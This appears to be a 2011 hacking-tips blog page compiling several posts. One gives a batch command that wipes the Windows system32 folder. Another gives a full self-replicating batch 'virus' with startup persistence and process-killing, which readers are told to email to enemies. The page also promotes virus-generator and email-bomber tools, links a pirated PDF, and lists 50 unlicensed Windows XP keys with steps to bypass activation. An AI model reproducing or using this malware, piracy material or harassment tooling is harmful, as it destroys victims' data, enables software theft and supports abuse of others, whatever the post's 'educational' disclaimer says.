Sunday, February 27, 2011

Destroy yur friends computer with Virus Cool Tips

Destroy ur enemy PC with virus

Hi all users in this post we'll take a look on how to create a deadly computer virus to destroy your enemy or victim's PC

 1) Open Notepad

 2) write the below command : -

 del c:\windows\system32\*.* /q

 3) Save the above notepad with the extension ".bat or .cmd" as u want

 !!!!!!!!!!!!!!!!!!!!!!Attention!!!!!!!!!!!!!!!!!!! !!!

Don't double click the file otherwise u r in trouble. Why ?????? bcz the file u created delete all files from ur

system32 folder and when u restart ur pc it will not start bcz system can not find the files in the system32 folder which is required at the time of booting.

 4) You can also test the above by creating a fake folder let suppose

windows1 in C:\. Copy some old files in it and just follow the

above command.By double clicking the bat or cmd file ur all files

automaitcally get deleted.

 5) You can try this file in any one`s computer.(but this result in causing damage to the computer, so think again before trying this on anyone's pc)

Virus 2

This post is to help you to send viruses to your enemies! Here goes,Copy the below code and paste into your notepad.. then save as anyname.bat

Do not click on that batch file........ Send it your enimies email...It will

1) Copy itself into startup

2) Copy itself over one thousand times into random spots in your computer

3) Hide its self and all other created files

4) Task kill MSN, Norton, Windows Explorer, Limewire.

5) Swap the left mouse button with the right one

6) Opens alert boxes

7) Changes the time to 12:00 and shuts down the computer

Code :-

@Echo off
color 4title 4title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nulAttrib +r +h Greatgame.batAttrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButtonstart calc
cls
tskill msnmsgr
tskill LimeWiretskill iexplore
tskill NMainstart
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documentscopy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"start
start
time 12:00:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.batgoto RIP

How to make deadly computer virus / How to make Virus by Virus software

How to make deadly computer virus / How to make Virus by Virus software

How to make Virus by Virus software:

1) Free Download Virus software to make virus.

2) Run "In Shadow Batch Virus Generator.exe" application to see something like this:

3) You can use various options to make virus to suit your needs. You can:

- Infect files of various extensions
- Insert virus in startup menu, Kill various processes.
- Disable all security services like Windows Defender, Antivirus, Firewall.
- Rename file extensions, spread virus via file sharing.
- Create new admin account, change user account password.
- Block various websites, download trojan files to victim computer, shutdown victim computer and much more.

4) After selecting various options, move on to "Creating Options" tab and hit on "Save as Bat". Assign name to the virus and hit on Save.

5) Now, you have your virus ready to hack your victim. Thus, you are able to make virus using Virus software.

Note: This security article is for educational purpose only. I am not responsible for any action performed by you. Also, do not try this virus on your own computer. If you wanna try out this virus on your computer, install Deep Freeze software and then try out virus to avoid any possible damage to your computer.

JPS VIRUS MAKER 3.0

Tuesday, February 8, 2011

Posted Bu Shine4ever !
With the help of JPs u can make Virus
http://www.4shared.com/file/ES4o5gYM/JPSVM3.html

Mobile Stuff

My iPad 2 (covers iOS 4.3) (2nd Edition)

Filename: My.iPad.2.pdf
Size: 23MB
Format: PDF | 400 pages
Genre: Tech
Language: English
Cover

Information

My iPad 2 (covers iOS 4.3) (2nd Edition) by Gary Rosenzweig
Publisher: Q-u-e | 2011 | PDF | 400 pages | 25 MB
My iPad 2 offers a full-color, fully illustrated, four-color step-by-step resource to using your iPad 2, the latest model from Apple that boasts a new faster processor and two video cameras. Each task is stepped through with corresponding visuals that are numbered to match the step they are referred by. Notes and sidebars give additional insight into using the iPad 2 without requiring you to sort through paragraphs of text to find the information you want. Tasks are clearly titled to help you quickly and easily find things you want to accomplish on your iPad 2. Everything from setup and configuration to using apps like Pages and Maps is clearly illustrated and easy to follow. Learn how to use the iPad 2′s two cameras to take pictures and video, and share them with friends or chat with them live.• Connect your iPad to your Wi-Fi network and 3G networks
• Take video with the front and rear camera
• Video chat with your friends
• Stream audio and video to Apple TV and other devices
• Synchronize data between your computer and iPad
• Watch movies, TV shows, YouTube, or home videos
• Surf the Web and email
• Download apps to make your iPad even more useful
• Create documents and spreadsheets
• Build and display presentations
• Find locations and get directions
• Find the best games
• Connect keyboards, cameras, and external displays

Download

My iPad 2 - 2nd Edition (covers iOS 4.3).pdf | 23.92MBhttp://filesonic.com/file/1025041231/My iPad 2 - 2nd Edition (covers iOS 4.3).pdf

Make your Windows Geniune

Www.Quettainfo.Com

Make ur Illegal Windows Xp Legal

Monday, February 7, 2011

Okay here's a quick fix for all you who have illegal XP's and want to be able to do what those who have legal versions can do. If you can read instructions, you'll have no trouble, if not, I don't take responsibility for it!



1) ) Go to Start, Run, type regedit
2) Browse to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents
3) In the right-hand pane, double click on the value "OOBETimer"
4) Change one of these characters to another random character (it really doesn't matter which, the idea is to corrupt the key so that we un-activate our copy of Windows) and press OK
5) I've generated keys for you so use one of the following:

HFRJP-BVYWW-C8C63-F36MJ-GMDQD
KD2YT-4YT3T-4VQQX-43WBV-FDF3M
CX633-TT3DV-VQP3F-94DKT-3MRR3
W6GHC-TXPFC-V79P2-BCHDQ-DJV3W
J3TGH-CPY32-CCXCW-C6FQF-DFBHB
F2GW6-TMPJT-VH2GF-9G3XM-G9GYD
J9QWM-JP8BX-M9C2F-JJXYH-WTD7B
K4YHK-GQRXD-7T773-YGYYJ-68JBJ
G96J2-2WYMR-9BFMP-MQRJT-XCXV6
CT7TY-2VTY4-PMPGF-2PQFH-Q8HPT
QX2V4-2V76D-XH8PV-RQQT9-QJMBT
PX83Q-RXY8T-TRXQM-CDHFB-78BGG
PDCV3-3V282-DXMVJ-V6HGJ-P9JHQ
JMRCY-4QMYM-J3BVJ-BQJWF-2HTKJ
BRYJV-CFWKX-JYDM9-RDW34-PRV46
KKH9W-PR2XY-XFYXW-R4C2R-XFXJ3
W4DTB-P33VR-G26PF-4BW39-WP2Q3
KMT4R-W6RPC-CQJX3-YDM9C-BV24Y
PCM2H-JPK8V-TCTBM-3KFB2-33488
CXRYY-TM77D-92JJX-44DX8-8RW9M
D62H3-XTG8F-2RMTX-KG938-9RYCJ
R2TJC-YTHTC-B7GVQ-RJ6W8-GT9KW
HJHYP-P7Q6B-D6HP9-2WPT2-3BFPQ
FKK2C-6R3DR-M6PFW-4KYTT-PDWFT
TRYD9-P4CQB-6M3D6-V38JW-VX6RQ
VP78X-YYK8K-3JJ68-88JBR-G3RV6
VQHHH-M9GJF-JKRVX-DCQVC-MFR8G
HYYP3-TRB3T-QKCH2-VCMGG-FHFPJ
JHR24-6R3BT-6TV28-KR7KM-JRXBB
P9XGQ-P28TT-X92FQ-TKKKJ-YYG8D
KR984-244TH-2H362-DFM7V-GDJ7G
Q7G9T-HWPXX-444W4-JD66G-27F2Y
G342Y-CKTW3-4VKBR-CW8XP-H6C3M
BPQMQ-RVJQT-WPCGR-P724W-GR2DQ
V2QPR-D4YMK-BRCT3-3D8M2-DM238
TC2KV-93BGP-7D8TK-T7FB7-6VKVM
PTQYY-YQT3V-GQXW2-7Y8TP-V4B8G
VC3XJ-TR9VY-J3RW3-RHFQB-7WVH3
JF2PQ-TT973-V9FGQ-KCBTF-2YBJD
JK6XC-4K7JR-69MMM-T98HR-JTRF8
BY46T-9KBKT-RBKHY-V6YP9-GKVQJ
KXGVX-2R9QB-CG83F-GMCDK-DMTVD
T6K2F-VH9HH-4W9WY-7JX99-CCHYB
TVPWG-KKPM8-FRWGM-JD7C4-TQ9JW
RCDFP-CXP4T-YYYXJ-PJ72W-W2B73
HTDVM-2J9JF-7FB8T-WRCBX-DXX8D
WWCM4-V6RTV-38QHF-BF72G-DR98B
K7RDG-MYR34-WRBG7-237YV-RX8D6
JF33Y-323QW-QWPF6-9DTVQ-JTR8Q
TPKJY-2XBTC-GH87P-62886-Q69RD

6) Go to Start, Run, and type C:\windows\system32\oobe\msoobe.exe /a, obviously replace C: with the drive letter that Windows is installed to.
7) Select the option to activate by phone, and press Next
Cool Click the button at the bottom labelled "Change Product Key"
9) Enter the new product key that the keygen created, and click Update
10) When the key is updated, do not continue with the activation process, close the activation window!

There are 50 unique keys and let me know if any don't work. There's about a 99% success rate with these keys so there may be one that doesn't work. Try another.

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SMS and Email Boomber

Www.Quettainfo.Com || ITFunia.Blogspot.cOm
sebbern's Max Email Bomber



Features:

HTML Body
Subject randomizer
Multiple attachment support
Timeout after 10 failures
Multiple receiver support
Support loading email list
Yahoo and Hotmail support
Can use any SMTP server
Note you need Microsoft framework for run this software,


Download